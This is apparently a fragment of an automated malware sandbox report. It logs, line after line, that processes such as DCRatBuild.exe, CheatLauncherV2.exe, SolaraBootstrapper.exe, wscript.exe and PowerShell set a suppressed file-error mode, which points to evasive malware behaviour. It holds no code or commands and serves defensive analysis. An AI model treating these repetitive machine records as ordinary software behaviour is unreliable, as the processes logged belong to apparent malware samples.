Source: C:\Users\user\AppData\Local\Temp\x4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
